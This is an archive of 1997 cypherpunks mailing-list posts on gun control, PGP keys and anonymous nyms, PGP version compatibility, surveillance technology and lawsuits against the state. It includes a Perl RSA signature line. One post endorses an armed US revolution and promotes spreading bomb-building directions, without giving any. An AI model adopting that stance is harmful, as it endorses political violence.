Who?  What?  Current democracices.  When?  Now.  Why?  Market
distortion.  How?  Politicians brokering legalised mass theft and
market distortion for game theoretic reasons.

> >  Your constitution says you can own and carry
> > guns; your politicians and law enforcement increasingly say that you
> > can not.  Your response to my saying that is that _I_ don't understand
> > the constitution?
> 
> No, my responce is prove your assertions. 

You prove your assertion: are you saying there are no gun controls in
the US?

> Explain to me why you believe these are valid views 

because they are a statement of readily observable reality?

> and why they provide a more usable environment for understanding
> what is going on then others.

What others?  Give me some other views to compare for realistic value.

> > > At the height of the range wars there were only 9 murders associated
> > > with the conflict, not hundreds as the popular entertainment media
> > > and spin-doctor culture would have you believe. Get your fucking
> > > facts straight.
> > 
> > I know, that was my point; recall that I said the murder rate was low.
> 
> No, you said *nothing* about murder rate. 

You're right, what I said was:

: (Crime rate was reportedly pretty damn low too.)

murder rates were low to as far as I understood.  That's what I was
thinking when I wrote that.  (Of course I can't complain about your
statement above, you're right ... I didn't write what I was
thinking :-)

> What you did say was that back in the old days people ran around
> killing those who bothered them. Which isn't true either.

That bit was a statement of a belief that few people would be inclined
to invade someones privacy and attempt to impose sanctions for what
they viewed as thought crimes.  It takes governments or religions to
do this kind of thing, individuals aren't likely to -- the natural
schelling points would be far less invasive.  My thought was that if
some crazy person went invading peoples houses telling them how to
behave that that crazy person would have a decreased life expectancy
:-)

> > The point was there were way less laws, and few were telling their
> > neighbours what they could think.
> 
> Really? What was the law count say in 1865 versus 1965? 1897 v 1997?
> Demonstrate your point.

I say: there were less laws in 1897 US than 1997 US.

Tell me: do you refute that claim?

How often do laws get repealed?  How often do new laws get bought in?
New laws are a lot more common.  Politicians want to produce new laws
because it makes it look like they're doing something useful to the
untrained eye.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sun, 2 Nov 1997 06:04:19 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <199711012145.WAA19449@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




##
In-reply-to: <19971101145349.14850@ultra7.umr.edu> (message from Matthew
	Nuckolls on Sat, 1 Nov 1997 14:53:49 -0600)
Subject: Re: cute.

-----BEGIN PGP SIGNED MESSAGE-----

Matthew Nuckolls says
> Warning: The following message is apolitical.
>
> > -----BEGIN PGP PUBLIC KEY BLOCK-----
> > mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
> > ...
> > =6dKS
> > -----END PGP PUBLIC KEY BLOCK-----
>
> What's the point in distribuing your public key through the same
> channels as a signature? Kinda defeats the purpose. 

The purpose is to create a persistent nym.  The signature, and public key
ensures that you know that this message is from the same person as you were
attempting to nit pick :-]

> I can't verify that the given public key is indeed yours, since
> you're anonymous.

True.  So it's only as good as the keys you might fetch from a keyserver
that you have no connection to in the web of trust.

You aren't supposed to link it to my True Name.

All that can be done is to get a signature from a timestamp server, and a
signature from Bill Stewart's nym key signing service.

I don't think there are any timestamp servers which provide key signatures.

Anyone want to start one?

This is important because it prevents someone else from generating more
keys with the same userID, such as happened with Tim May's blacknet key.
The only protection I have against that is the public record of my key
being posted to cypherpunks.  The http://infinity.nus.sg/cypherpunks/
archive helps as a public record of first publishing of a key with this
userID.

A timestamp service signature on my key would be a better solution.

Amad3us

-----BEGIN PGP SIGNATURE-----
iQCVAwUBNFugu/KMuKFNFivhAQEJUwP7BUCoER9V60RDWQHLRNB1tGudDwWtQsRy
lnZJuI+VK9ljr5ze6O8b7/3WLItSqxyd4o+yyf/hx7SARqyZ1BV6KEljUXe7i3RQ
4Dy5H7/E+hZe9B4cN9OYs8A2oAcLKs5fIYSKqyEado6+IL4G9YrDTNmz28z/flmY
kvfVsPWKk7w=
=oXSI
-----END PGP SIGNATURE-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
4vbKAO/oteftRRM1jYYaQM6pUd2Tbb9z+cSuQGr2GH9kQ0Y7bllh89E1PItj7frG
ARSCbt1gbbXDXEICY8Ne1zZB7FfMt2qGVBdrKG/i2vfdZa5+n/KMuKFNFivhAAUR
tCNBbWFkM3VzIDxjeXBoZXJwdW5rc0BjeWJlcnBhc3MubmV0PokAlQMFEDRbjMPy
jLihTRYr4QEB38ED/1P9L2yLURl5B2GJok3eIf6EnF1ahFxSK7wuK++YfKRKb3Ku
oPTzwSXH+92PZX28dpC+aYu8Qb0dMSCk4Cadn9cxz4n42u509JU4z0o897lB4u2I
TxV3YKbBAQSv/jZ/Gq8drdFtemQXUPigNL6IjDAPc/REiHv7IZNKAniSBo1P
=N8Gg
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 2 Nov 1997 12:20:01 +0800
To: cypherpunks@Algebra.COM
Subject: cute.
Message-ID: <d1a2b3075f99c1845d71b5c406bf09c5@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>What's the point in distribuing your public key through the same
>channels as a signature? Kinda defeats the purpose. Esp since I can't
>verify that the given public key is indeed yours, since you're anonymous.

Well, there's some point in it. If I send an anonymous message, sign it with
a key, and then include that key you can use that key to verify that it
indeed was the key used to sign the message. For this to be of any value,
however, future messages should be signed with that key but should not
include it. This just proves that the person who wrote the last message is
the same guy who wrote the first. That's about the only poitn I can see,
though.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 2 Nov 1997 07:49:05 +0800
To: cypherpunks@toad.com
Subject: Re: Technology 'secures' gunfire [CNN]
Message-ID: <199711012339.AAA04637@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke wrote:
> At 09:06 PM 10/31/97 -0600, Jim Choate wrote:
> >>      Now police have an electronic witness that can provide similar
> >>      assistance: a device called SECURES that pinpoints the time and
> >>      location of gunshots.
 
> In order for this system to be worth anything, it would have to be able to:
...
> 3.  Monitor conversations throughout the coverage area.  A suspicious sound
> preceded by a male voice saying "Give me your money, bitch" would be much
> more interesting than one preceded by a revving engine.  This would have
> the added benefits of allowing LEO's to track fugitives via the sound of
> their footsteps, their breathing, vehicle engine sounds, etc., as well as
> gathering voiceprint data from crimes in progress.
> 
> I think point 3 is the scariest.  A properly designed system could do
> voiceprint analysis of almost every word spoken in public, tie the
> conversations to the identities of the speakers, and archive the time,
> location, content and participants of every spoken conversation for long
> periods of time in a database that could be searched by keyword, speaker
> identity, time, and/or location.  The following searches could be done:
> 
> 1.  "I want a list of everyone who uttered the words 'buy' and 'crack' in
> the same sentence between 2100 and 0330 hours within 500 feet of 123 Maple
> Drive between August 7 and December 5."
> 
> 2.  "I want a list of all participants in conversations with Citizen-Unit
> 754-35-9710 which included the phrase 'BATF agent' in the last 6 months.
> 
> 3.  "I want a map of Citizen-Unit 754-35-9710's movements for the last 2
> weeks."
...

  Jonathan has hit on a point which illustrates the danger of the
surveillance technologies that are _already_ in place, vis a vis,
the Internet.
  Something lost in the euphoria over the citizen's radical new 
ability to access information: Yahoo Search--"Posts by _me_."
is that the same technolgy, and more, is at the fingertips of
the proverbial 4 Horsemen AND (now for the _really_ bad news)
at the fingertips of "John Law, the Citizen's Friend."

  Sadly, "garbage in--garbage out" _has_ always, and _will_ always,
result(ed) in such inanities as Drug Counselors being 'rated' at
the same level as Drug Dealers when the computer spits out the
results of a badly structured "search for the _bad_guys_."
  Naturally, when the police mistakenly kick in the door of a 
Drug Counselor, it is always a 'regretable tragedy' when they
shoot holes in the ten year old boy in the hallway who is holding
an over-ripe banana which 'looked like a weapon.' (Almost a true
life example, told to me by a friend who left her career in law
enforcement because she was still in possession of a conscience 
which was capable of recognizing that children killed by those 
who are 'just following orders' are just as dead as the children
killed by those who are 'out of control.')
{The person in question 'pulled' her shot at the last moment, upon
 realizing she was about to murder a child with a banana. Because
 the banana "could have been a weapon," an investigation was not
 required for an officer firing upon an unarmed citizen.
 I regard this lady as a wonderful example of someone who has held
 themself to a higher standard than their government regulators and
 their peers. What is a shame is that someone who _should_ be the
 type of person charged with protecting us had to leave the system
 because there is no future for those who choose sanity, logic and
 humanity over 'following orders.'}

  If you stop to consider Jonathan's examples of (paraphrased),
"give me the names of every citizen in location 'A' at time 'B'
who has used the word 'normal' in an email in the last ten years,
etc., etc." in light of Internet search engine capabilities being
extended to such technologies as 'citizen physical location 
monitoring', 'voice recognition', 'DNA pattern analysis' (e.g. 
heriditary potential for violence, etc.), then the future may be 
very scary, indeed.

Think about this:
"Ladies and gentleman of the jury, the person who is reading this
post is the 'only' individual, out of over 20 million processed by
the Never Wrong Criminal Identification Compter System, who is in
the post reader's general location, today, has completed their
high school education and has a family member who has committed
murder in the last five generations."
(What? You claim you are not the _only_ person in New York City,
 with a high school education. Nice try, pal, but the computer is
 never wrong.)
"Although no murder has been committed yet, statistics show that
someone in that area will be, within the next two days, so I ask
that you return a verdict of 'Guilty of murder in the first degree'
and we will pick up and execute the reader of this post as soon
as a body turns up."

...in light of _this_:
A citizen was found guilty of murder by a jury, based on the slim
eyewitness testimony of a passerby who caught a fleeting glimpse
of the murderer, despite testimony from over a dozen people that
the defendant was, at the time of the murder, attending a wedding
thousands of miles away.
Some of those giving testimony did not even know the man prior to
meeting him at the wedding, and were in no way related to the man,
but the jury was still swayed by the prosecutor's claim that this
wide variety of law-abiding, average citizens were lying to try
and protect the defendant.

Do you have a great-great-grandfather who committed murder? Then 
you are, by heridity, a potential murderer. It's in your blood!
This is '10 points against' you. All of the kindness you have don
in your life does not count in your favor, because any fool can
see that it was done in an attempt to trick the jury.

> The Big Brother potential of such a system should be obvious.  What is
> really scary is that such a system could be built mostly with currently
> existing hardware, and at most a few man-years of software development.  If
> each node in the network performs its own speech to text conversion and
> archiving, and coordinates with a central voiceprint ID server, (which
> could also provide the sync signal that the nodes would use to
> cross-reference between nodes to locate sounds) each node could consist of
> a Pentium 200 with some specialized audio signal processing cards and 15-20
> GB of storage.  The only really new thing required would be an .AVI-style
> format for storing MPEG audio, a text transcript of said audio (which would
> need to include keywords for gunshots, passing vehicles, and other events
> of interest), and location coordinates (updated on a second to second
> basis) which could be indexed for reasonably efficient searching.

  Of course, Jonathan is a raving lunatic for suggesting these
outlandish
possibilities, much like the mentally unstable people who history
records
as believing that one day people would be able to send electromagnetic
waves through the atmosphere and have their images and voices appear on
machines in distant places.

  Seriously, history has shown that any technology capable of being used
for great evil _will_ be used for great evil.
  The reason that technology radically increases the ante in the game 
between good and evil is that if one 'evil' person is in control of
technology that ten million 'good' people do not have access to, then
the basic humanity or inhumanity of humankind, in general, is really
not an important part of the equation which will determine the future.
  (I challenge all other cypherpunks to a fistfight, the only rule 
being that I can use an Uzi, and you can't.)

  Remember...when all is said and done, my dad was an optomist.

George Orwelle Jr.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 2 Nov 1997 13:56:14 +0800
To: cypherpunks@cyberpass.net
Subject: PGP compatibility
In-Reply-To: <199711020324.EAA29916@basement.replay.com>
Message-ID: <3.0.3.32.19971102005347.006b8be4@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:24 AM 11/2/97 +0100, Anonymous wrote:
>But now what? Please someone answer my questions
>about PGP - it appears that the 5.x versions are not
>compatible with the 2.x versions which came previous.
>Is this so?

My copy of PGP 5.0 seems to be completely compatible with 2.6 versions.  This 
message is signed, and my key is included within the message for those of you 
who have software that discards the non signed portion.  (If you don't know 
how to extract my key, copy it and fix the broken dashed line, or use a 
keyserver)

This is a store bought copy of Eudora 3.0.1 upgraded to 3.0.3 with PGP 5.0, 
and the $5 RSA add in from PGP.  If anyone who knows how to properly use PGP 
has a problem reading my signature, or my key, please let me know.

  -- Robert

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQBNAzIcsQUAAAECAOjT/WYy6iCh07ZEaohBwGOjWJc0RKarTJ1ZfKK3feoWW7QK
Wb13gBvgnMQeEo92OsW3nxwV20NGQakaFFeDk1kABRG0FFBvb2ggPHBvb2hAZWZn
YS5vcmc+tCpSb2JlcnQgQS4gQ29zdG5lciA8cmNvc3RuZXJAaW50ZXJnYXRlLm5l
dD4=
=kINy
- -----END PGP PUBLIC KEY BLOCK-----

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNFwVZUGpGhRXg5NZAQFIngH+K1v8JQD8g03mCtHb6ER3qHUvzwHLCOh2
npZUxxK0VFu23hpmc1wUCCZzEGTGYaoy2sxWYQy90eJJvnUU82/EeQ==
=czqz
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 2 Nov 1997 17:31:26 +0800
To: cypherpunks@ssz.com
Subject: Re: effective GACK fighting (fwd)
Message-ID: <3.0.32.19971102004545.006cba90@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>But, why do we need a lawyer? We have the right to represent ourselves, why
>let somebody who has a intimate stake in the status quo represent us?

Well, first of all I was being facetious, because of how people are always
saying we need Leadership (tm) and need to elect another President in order
to have a more Perfect Union.   But I said we need a "good" lawyer - a
libertarian lawyer - because I expect that it would take someone who had
studied the legal system and made it their project to be well-educated and
articulate on these matters, to be able to successfully represent the
Consitutional values which we subscribe to.   Maybe not.  I myself don't
think I could do it, although I would lend all kinds of backend support to
whoever would, and frankly I don't think I would select you, either, Jim,
because I don't think your arguments would be effective.   I would be
thrilled if someone like Tocqueville existed.   He would get my vote.

>Has there ever been a law suite brought against the Supreme Court or
>Congress claiming their actions were unconstitutional? The amendment
>relating to taxation for a start, repeal individual taxation and return to
>the system originaly intended by the founding fathers. 

I don't know.   But this is the sort of issue I was thinking of.

>Also, let's start something relating to the 2nd. We should also move to [.
. . ]

Okay, you first. heh.  You're being quite free with your recommendations.
Remember, right now we're just a bunch of people sitting around their
computers talking.  Don't count your chickens before they hatch. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 2 Nov 1997 17:29:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: effective GACK fighting
Message-ID: <3.0.32.19971102012712.006cd37c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>Where have you folks been the last couple of years? Given that the list has
>been discussing the Bernstein case (and 30 of us even attended some of
>Judge Patel's hearings in SF), and the Junger and Karn cases have been
>extensively reported, and the CDA was overturned, I'd certainly say court
>battles have been a priority for a long time.
.............................................


The Bernstein, Junger, and Karn cases are all about a single issue.   The
EFF focuses on the same computer/internet/privacy issues.   What I was
envisioning was the fundamental conflicts like a basic observance of
respect for human beings in their pursuit of the Three Virtues (the
opposite of the Four Horsement <g>) - Life, Liberty, Happiness, and for
legitimate consent - not the manufactured "voluntary" complicity to demands
like taxation and all the other crimes which have been discussed on the list.

>Certainly I don't know of any Cypherpunks pushing for legislative
>solutions. Most of us have explicitly condemned the legislative actions,
>realzing that Congress can only make things worse.

I wouldn't expect any new laws to be passed as a result of this kind of
court battle, nor expect Congress or even the Supremes to approve of and
support it.  The only purpose would be to challenge the whole lot of
government agencies who accept the above-mentioned flaws as unquestionable
government rights-of-way.   A revolutionary sort of action, in other words,
not for the purpose of getting legislation/legislators on "our side", but
to back them up against the wall and squish them.   (Operation Squish.
heh-heh.  Ya'll remember that?)

I don't know exactly how this could be brought about, but I would expect it
would have more the structure and sense of a 'noble cause' such as the
Originals brought to their revolution, than simply to gather into groups
like the 'Patriots' and the 'Freemen' and such, who are more incoherent
than admirable.  

The Originals also made their attempts at negotiating their case with
unsympathetic rulers, preceding their realization that they were getting
nowhere.  And it is more than likely that current court judges are just as
dull and dense and morally asleep at the wheel as King George.   But the
thing is to bring out these flaws explicitly, in the place designed for
such things, where they may be attended to in the civilized manner created
for such conflicts of MO.    The Case of the Individual against the State.

I can dream, can't I?   It would make a great TV series.   (You, of course,
would rather spit-polish your guns and buy more ammo.)
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 2 Nov 1997 15:30:59 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Japan's Constitution and GAK
Message-ID: <199711020716.CAA14575@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Does someone have access to a verificable copy of Japan's
Constitution?  Someone pointed me to one on the web, which would seem
to make difficult implemmenting international GAK systems.

http://www.leftjustified.com/leftjust/lib/sc/ht/wtp/japan.html

Article 21. Freedom of assembly and association as well as speech,
press and all other forms of expression are guaranteed. No censorship
shall be maintained, nor shall the secrecy of any means of
communication be violated.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "J. Lasser" <jon@lasser.org>
Date: Sun, 2 Nov 1997 16:13:45 +0800
To: DCCP <cryptography@c2.org
Subject: new PGP key
Message-ID: <19971102025751.44393@rwd.goucher.edu>
MIME-Version: 1.0
Content-Type: text/plain



Due to a hard drive crash near the beginning of last month and an inane
lack of backups, I lost my old PGP keys (2047/0xDED5B791 and
1024/0xEC001E4D). I've generated a new key, enclosed below. Key info is
as follows:

Type Bits KeyID      Created    Expires    Algorithm       Use
sec+ 2047 0x4CDD6451 1997-10-12 ---------- RSA             Sign & Encrypt 
f16    Fingerprint16 = D8 5A 85 06 93 6C 86 E8  79 3A 07 AA 15 6E 3A BD

I will personally verify this information at the physical DC Cypherpunk
meeting tomorrow (well, today, actually), as well as hand out copies of
the fingerprint. The key is also available at my web page, at either
http://students.goucher.edu/jlasser/interests/pgpkey.html or
http://gwyn.tux.org/~lasser/interests/pgpkey.html

Yes, I keep backups now ;-)

Type bits/keyID    Date       User ID
pub  2047/4CDD6451 1997/10/12 Jon Lasser <jon@lasser.org>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzRBY9QAAAEH/2q2YaKg6zOpzWNHyPuO2cdEAIAIhsmOPjOp61bnrU9LAyKK
gNJn2+Tn9PTfbnq0S8HupLTvgUsSuv0P0d1SzgDV0LtgUy9CYrtwkcExvK6UO103
RksrpAP0+wbaAWjp2Qogn2ZJskn8wayl1J9cHX4VfFQNUxQyqBqV8HUK5W+R4N91
76bWX0QrX+yQm0wCW8PT6xTe5L23N7lfUsDawOxsjIxHom3dg2lr1zQ1Pu/4wrw7
Mcoj1Wy+kxOxpZaMPF8ylyu953LKaPPJw5yQpjtzKBdi/ZxFI86rB7K2nra1NxGi
c8Yq+Jy+LzGwI0RF330zI2/wpvqsoSqcnUzdZFEABRG0G0pvbiBMYXNzZXIgPGpv
bkBsYXNzZXIub3JnPokAlQMFEDRCtOcalOfjf5iOyQEBBTID/iqETsBM1EZaOJlr
nbkSYEcfrnM29Uo2fgbD7mQlrgOb/jNScvh7LaHdU7yZMaYmszCrC29S06RZYSOf
HUCN62yVVZyFlWECvqcjspTzi0tdmhhpjHLAdW3/odmEbW6fsWhTauPCo1pp4IXq
lyo9so9iAtjGSDB6QfFhf4htAcuWiQCVAwUQNEGY2xN3Wx8QwqUtAQHLxgP6AnOj
ZWIMYazhH2pYemXrHmmyMTtM+CqW+YFCgD4ioDnwZqsghaNF8d7klJ7zL2GNK9XX
o2PbBowsrZJ8Nt4tAMdC++giYLqW4UCb0BO1oLnKO/khbcPR0J3F0nBfIejbc82U
aM72raafmZjpqCspjD5hBMRSaoS0xZaTe+sCJzOJARUDBRA0QZiLXprN4cSo7vEB
AUmoB/0YspOyZ0u+0XbQsMsM4GPVlPWib0WiVeWpF2sBmzzCET7JIM5LcmqU71GG
sGa1j/1Xc4rXMflzdPTCm2l+oRiQIOAfhW6daLR13DXYLPnyZl6dpy2SvRA5gdpj
vztoLc4WafmEs5T0+cLkD6WqJ2fUBFH30UO8kJgIm7dGucFE73pdQJ75Ss+AmeM7
9Hu0lKKtTnaLnxLktuiJb6/xyzmAReW+dT1BJg0iKn0J2qJD5ZvPm1KRsBINgSO+
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hq4ixqQUA7WQXicq21hy+xQW4eHciQEVAwUQNEFj1aEqnJ1M3WRRAQFdtAf/RRdT
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KTjzW/PqE9xzo0sLWA==
=xg8Z
-----END PGP PUBLIC KEY BLOCK-----

-- 
Jon Lasser (410)383-7962                             jon@lasser.org
http://wauug.erols.com/~lasser/             New PGP key coming soon
      "Flap your ears, Dumbo!  The feather was only a trick!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 2 Nov 1997 17:35:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: <SIGH>
In-Reply-To: <199711020324.EAA29916@basement.replay.com>
Message-ID: <199711020928.EAA28968@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199711020324.EAA29916@basement.replay.com>, on 11/02/97 
   at 04:24 AM, nobody@REPLAY.COM (Anonymous) said:

>After seeing the intents of PGP Inc. with the
>release of their new PGP that breaks the old
>free versions, I have all but written them off 
>as anything but the Enemy, and am waiting for
>a public reply on the list by Tim May to make
>it official.

>But now what? Please someone answer my questions
>about PGP - it appears that the 5.x versions are not
>compatible with the 2.x versions which came previous.
>Is this so? Also, the direction they seem to be
>heading is in providing more and more non-free
>GAKked product. But aren't the 2.x and 5.x versions
>freeware? If so, can't others - a group of 
>individuals - take that source code and build off
>of that? Piss on these assholes and their licensing
>fees. It was inevitable, anyway. They are a 
>corporation after all, and the corporations are 
>not on "our" sides.

>I can see a scenario where government is impotent
>and destroyed within 10 years. What will remain
>and will be harder to eradicate are the corporations.
>I don't think we should rely on corporate software
>whenever possible, because it always comes with
>an ulterior motive. Is there an effort to maintain
>a version of PGP based on the free 2.x sources
>that is not affiliateed with the fuckwads at 
>PGP Inc.? If not, is it high time some of us 
>began such an effort?


<sigh> What a bunch of drivel. I give this post an 8th Grade rating.

>Date: Sun, 02 Nov 97 03:22:14 -0600

Does your mommy know you are up this late??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 2 Nov 1997 17:01:42 +0800
To: tcmay@got.net (Tim May)
Subject: Re: What Will Revolution Look Like?
In-Reply-To: <199710312207.OAA27506@comsec.com>
Message-ID: <199711020848.DAA14964@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	The distinction between civilians and soldiers, which came
about in the 17th and 18th centuries, is close to meaningless in the
context of a modern revolution.  However, this distinction, and the
Clausewitzian claim that war is the continuation of politics by other
means, underly the 'law of war.'

	War as the continuation of politics implies that the State
sends soldiers to war against other soldiers to fight for policy
rights.  War to gain teritory, war over insults or honor, religious
war, is seen as a thing of the past.  Barbaric.  Modern warriors can
not understand people who play by other rules.  To some extent, this
has been good for us civilians.  The firebombings of German cities
were an exception, not the rule.

	However, as the anti-colonial movement demonstrated, a people
can effectively fight a modern army, and win.  They are marked as
terrorists, defamed for their capitalist activites such as drug
smuggling to finance the struggle, and hanged when caught. 

	A modern revolution, as Mao taught, is based on forcing people
to decide if they are with you or against you.  There are no neutrals
who simply want the status quo to continue, because once the
revolutionaries have started to do their job, the state lashes out,
passing facist new laws (see Northern Ireland, Peru, the United
States).  The status quo disappears, and the revolutionaries are
committed.  It is only by making starkly clear who stands where that
enough people to fuel the revolution can have the manpower to sucseed.
The alternative to the revolution becomes living under the government
that killed your family members.  In Algeria, once the first few
thousands of martyrs died, every additional person the French killed
was a new reason to fight.  Surrender, to the Alerians, became
inconcievable.  Life as French was not worth living.  So they fought.

	When the revolution comes to the United States, it will not be
a pretty thing.  Our best hope is for a rapid surrender of the current
government, which is not likely.  By deploying now the tools of
communication (remailers, strong encryption, directions for building
bombs and traps, cheap radio transmitters), as well as the tools for
deception (how hard is it to build a fake GPS transmitter?), and the
understanding that the US governemnt has grown cancerous, we bring
closer the begenning and the end of the revolution.

	We bring its start closer by forcing the Government to show
its true colors, turning more people against it.  We bring its finish
closer by having ready the tools to render ineffective the large
fighting machines we have paid for, by making it clear tht the
government does not have the support of the people, and by making it
clear that once committed, we will have to fight.

	So, Tim, we disagree that it will be like nothing seen before.
It will be like many modern revolutions, because we can't force the
government to fight on our terms today.

	20 years later, we will look back, and realize that
governments have murdered most of the innocents they will ever kill,
because will can deploy technology to make government voluntary.  But
we're not there, and getting there may be bloody.

	There is, of course, Duncan's Berlin Wall theory, but I fear
things will have to get worse before they get better.

Adam


Tim May wrote:
| Some of the questions by Mark Rogaski and others ask about the nature of
| the revolution I and others are predicting and encouraging.
| 
| What will a just revolution, like those anticipated by Jefferson, Franklin,
| and others, look like?
| 
| The British thought the colonial rebels were "playing dirty" by shooting
| from behind trees instead of marching in bright uniforms with drums and
| bugles to herald their way.
| 
| Modern armies think freedom fighters are "terrorist scum" for not fighting
| honestly and fairly in their own M-1 Abrams tanks and aircraft carriers.
| 
| So, too, will revolutionaries be seen as fighting "unfairly" and being
| unethical sneaks, child killers, and terrorists.
| 
| (As if children and other innocents did not die in various incidents in
| past wars, on all sides.)
| 
| When Jefferson predicted that a revolution was needed every 20 years or so,
| he surely was not saying that throwing one party out of leadership and
| putting the other party in was an example of such a revolution, or that
| "campaign reform" is such an example. Nor was he saying that the only valid
| revolution would be when a buch of citizens or states got together their
| own army and marched on Washington.
| 
| (Actually, raising such an army is in violation of numerous laws about
| heavy weaons, licenses to carry weapons, etc. No doubt illegal. Ironically.)
| 
| No, the revolution, when it comes, will likely be different from anything
| quite like we've seen to date.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 2 Nov 1997 11:27:54 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199711020324.EAA29916@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




After seeing the intents of PGP Inc. with the
release of their new PGP that breaks the old
free versions, I have all but written them off 
as anything but the Enemy, and am waiting for
a public reply on the list by Tim May to make
it official.

But now what? Please someone answer my questions
about PGP - it appears that the 5.x versions are not
compatible with the 2.x versions which came previous.
Is this so? Also, the direction they seem to be
heading is in providing more and more non-free
GAKked product. But aren't the 2.x and 5.x versions
freeware? If so, can't others - a group of 
individuals - take that source code and build off
of that? Piss on these assholes and their licensing
fees. It was inevitable, anyway. They are a 
corporation after all, and the corporations are 
not on "our" sides.

I can see a scenario where government is impotent
and destroyed within 10 years. What will remain
and will be harder to eradicate are the corporations.
I don't think we should rely on corporate software
whenever possible, because it always comes with
an ulterior motive. Is there an effort to maintain
a version of PGP based on the free 2.x sources
that is not affiliateed with the fuckwads at 
PGP Inc.? If not, is it high time some of us 
began such an effort?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 2 Nov 1997 21:23:30 +0800
To: cypherpunks@cyberpass.net
Subject: re: Speech as co-conspiring? I don't think so.
Message-ID: <199711021310.FAA06433@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>Since when is broadcasting a radio or television show or writing an
>essay evidence of complicity in a murder, even when it "pushes
>someone over the line"?

The producers of the show had better hope that it is not evidence of
complicity in a murder.

Let's say Tim is crazy.(*)  He told us how much he enjoyed seeing the
BATF agent take one in the face.  If this were to inspire him to try
the same thing in real life, how would the producers of the show be
less guilty than the talk show host?

After all, the most intense and graphic aspect of the episode was the
scene where the BATF agent was killed.  The people who made the show
obviously intended this to have the most impact.  It must be the
actual point of the show.  (It's well known that television watchers
are far more responsive to imagery than boring dialogue.)

The rest was obviously a cynical attempt to undermine the machinery of
justice by appearing to be on the side of law enforcement.  Bad People
try this trick all the time.  Fortunately, the jury usually isn't
fooled.

I'm looking forward to the miscreants getting the justice they so
richly deserve, aren't you?

(*) Tim seems too wiley to be crazy.  Instead, he seems to be playing
The Most Dangerous Game: Fed baiting.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Don't Ask..." <da@dev.null>
Date: Sun, 2 Nov 1997 19:30:51 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 8 (Part III of 'The True Story of the InterNet')
Message-ID: <345C60CC.7A43@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









